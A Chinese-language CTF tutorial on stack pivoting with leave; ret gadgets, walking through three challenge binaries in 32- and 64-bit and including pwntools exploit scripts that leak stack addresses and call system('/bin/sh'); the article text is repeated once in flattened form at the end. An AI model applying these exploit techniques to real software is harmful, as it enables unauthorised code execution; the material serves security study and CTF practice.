关于栈迁移学习分享
字数 1228 2025-08-22 12:23:00

栈迁移技术详解与实践指南

0x01 栈迁移概述

栈迁移(Stack Pivoting)是一种通过修改栈指针(ESP/RSP)将栈转移到其他内存区域的技术,主要用于解决栈溢出空间不足的问题。当溢出空间不足以容纳完整的攻击载荷(payload)时,通过栈迁移可以将栈转移到更大的内存区域(如.bss段、堆等)继续执行攻击代码。

0x02 栈迁移的基本原理

使用条件

  1. 存在栈溢出漏洞
  2. 存在可写入的内存区域作为新栈空间

核心指令:leave; ret

leave指令相当于以下两条指令的组合:

mov esp, ebp  ; 将ebp的值赋给esp
pop ebp       ; 从栈顶弹出值到ebp

ret指令相当于:

pop eip       ; 从栈顶弹出值到eip(指令指针)

栈迁移流程

  1. 第一次leave; ret:将栈指针迁移到新位置
  2. 第二次leave; ret:在新栈位置执行攻击代码

0x03 32位栈迁移实例分析

案例1:网鼎杯pwn2

程序分析

  • 32位程序,仅开启NX保护
  • 需要先通过login验证才能进入vulnerable函数
  • vuln函数中存在栈溢出,但溢出空间有限(仅8字节)

利用步骤

  1. 绕过login验证
  2. 接收程序泄露的buf地址
  3. 构造payload:
    • 在新栈位置布置system调用
    • 填充至足够长度
    • 覆盖返回地址为leave; ret指令地址

关键点

  • 在system地址前填充4字节,防止ret指令破坏payload结构
  • 需要两次leave; ret完成迁移和执行

EXP分析

from pwn import *
context(arch='i386',os='linux',log_level='debug')

elf = ELF('./short')
p = process('./short')
system = 0x80484A0
binsh = 0x804A038
leave = 0x8048674

# 绕过login
p.sendlineafter('Enter your username: ','admin')
p.sendlineafter('Enter your password: ','admin123')

# 获取泄露的buf地址
p.recvuntil('0x')
buf = int(p.recv(8),16)

# 构造payload
payload = b'aaaa' + p32(system) + p32(0)+ p32(binsh)
payload = payload.ljust(0x50,b'\x00') + p32(buf) + p32(leave)

p.recvuntil('plz input your msg:\n')
p.send(payload)
p.interactive()

案例2:ciscn_2019_es_2

程序特点

  • 利用printf(%s)的特性泄露地址
  • 溢出空间有限(0x28字节输入,0x30字节缓冲区)

利用技巧

  1. 使用send而非sendline发送payload,避免自动添加\n
  2. 通过填充+特定字符(b'b')定位泄露地址
  3. 计算新栈位置(s = ebp - 0x38)

EXP关键部分

# 泄露ebp地址
payload1 = b'a'*0x27 + b'b'
p.send(payload1)
p.recvuntil('b')
s = ebp = u32(p.recv(4)) - 0x38

# 构造迁移payload
payload2 = b'aaaa' + p32(system_addr) + b'aaaa' + p32(s + 16) + b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') + p32(s) + p32(leave_addr)

0x04 64位栈迁移技术

与32位的区别

  1. 参数传递方式不同(通过寄存器而非栈)
  2. 需要找到合适的ROP gadget(如pop rdi; ret)

案例:KEEP ON

特点

  • 64位程序
  • 存在格式化字符串漏洞用于泄露地址
  • 需要构造ROP链

关键点

  1. 使用格式化字符串泄露rbp地址
  2. 计算新栈位置(s = rbp_addr - 0x60 - 0x8)
  3. 在64位下需要正确设置参数寄存器

EXP片段

# 泄露rbp地址
fmtpayload = b'%16$p'
p.sendline(fmtpayload)
p.recvuntil('0x')
rbp_addr = int(p.recv(12),16)

# 构造ROP链
s = rbp_addr - 0x60 - 0x8
payload = p64(rdi) + p64(s + 0x8 + 0x18) + p64(system_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x50,b'a') + p64(s) + p64(leave_addr)

0x05 栈迁移技术总结

  1. 核心思想:通过修改栈指针将执行环境转移到更大的内存区域

  2. 关键指令:leave; ret组合

  3. 必要步骤

    • 泄露或计算新栈位置
    • 在新栈位置布置payload
    • 通过两次leave; ret完成迁移和执行
  4. 注意事项

    • 32位和64位架构下的参数传递差异
    • payload构造时的字节对齐问题
    • 确保新栈位置可写且足够大
  5. 练习建议

    • 使用GDB调试观察栈迁移过程
    • 从简单案例开始,逐步增加难度
    • 结合其他漏洞(如格式化字符串)进行综合利用

通过理解栈迁移的基本原理并实践上述案例,可以掌握这种在有限溢出空间下实现攻击的重要技术。

栈迁移技术详解与实践指南 0x01 栈迁移概述 栈迁移(Stack Pivoting)是一种通过修改栈指针(ESP/RSP)将栈转移到其他内存区域的技术,主要用于解决栈溢出空间不足的问题。当溢出空间不足以容纳完整的攻击载荷(payload)时,通过栈迁移可以将栈转移到更大的内存区域(如.bss段、堆等)继续执行攻击代码。 0x02 栈迁移的基本原理 使用条件 存在栈溢出漏洞 存在可写入的内存区域作为新栈空间 核心指令:leave; ret leave 指令相当于以下两条指令的组合: ret 指令相当于: 栈迁移流程 第一次leave; ret:将栈指针迁移到新位置 第二次leave; ret:在新栈位置执行攻击代码 0x03 32位栈迁移实例分析 案例1:网鼎杯pwn2 程序分析 : 32位程序,仅开启NX保护 需要先通过login验证才能进入vulnerable函数 vuln函数中存在栈溢出,但溢出空间有限(仅8字节) 利用步骤 : 绕过login验证 接收程序泄露的buf地址 构造payload: 在新栈位置布置system调用 填充至足够长度 覆盖返回地址为leave; ret指令地址 关键点 : 在system地址前填充4字节,防止ret指令破坏payload结构 需要两次leave; ret完成迁移和执行 EXP分析 : 案例2:ciscn_ 2019_ es_ 2 程序特点 : 利用printf(%s)的特性泄露地址 溢出空间有限(0x28字节输入,0x30字节缓冲区) 利用技巧 : 使用send而非sendline发送payload,避免自动添加\n 通过填充+特定字符(b'b')定位泄露地址 计算新栈位置(s = ebp - 0x38) EXP关键部分 : 0x04 64位栈迁移技术 与32位的区别 参数传递方式不同(通过寄存器而非栈) 需要找到合适的ROP gadget(如pop rdi; ret) 案例:KEEP ON 特点 : 64位程序 存在格式化字符串漏洞用于泄露地址 需要构造ROP链 关键点 : 使用格式化字符串泄露rbp地址 计算新栈位置(s = rbp_ addr - 0x60 - 0x8) 在64位下需要正确设置参数寄存器 EXP片段 : 0x05 栈迁移技术总结 核心思想 :通过修改栈指针将执行环境转移到更大的内存区域 关键指令 :leave; ret组合 必要步骤 : 泄露或计算新栈位置 在新栈位置布置payload 通过两次leave; ret完成迁移和执行 注意事项 : 32位和64位架构下的参数传递差异 payload构造时的字节对齐问题 确保新栈位置可写且足够大 练习建议 : 使用GDB调试观察栈迁移过程 从简单案例开始,逐步增加难度 结合其他漏洞(如格式化字符串)进行综合利用 通过理解栈迁移的基本原理并实践上述案例,可以掌握这种在有限溢出空间下实现攻击的重要技术。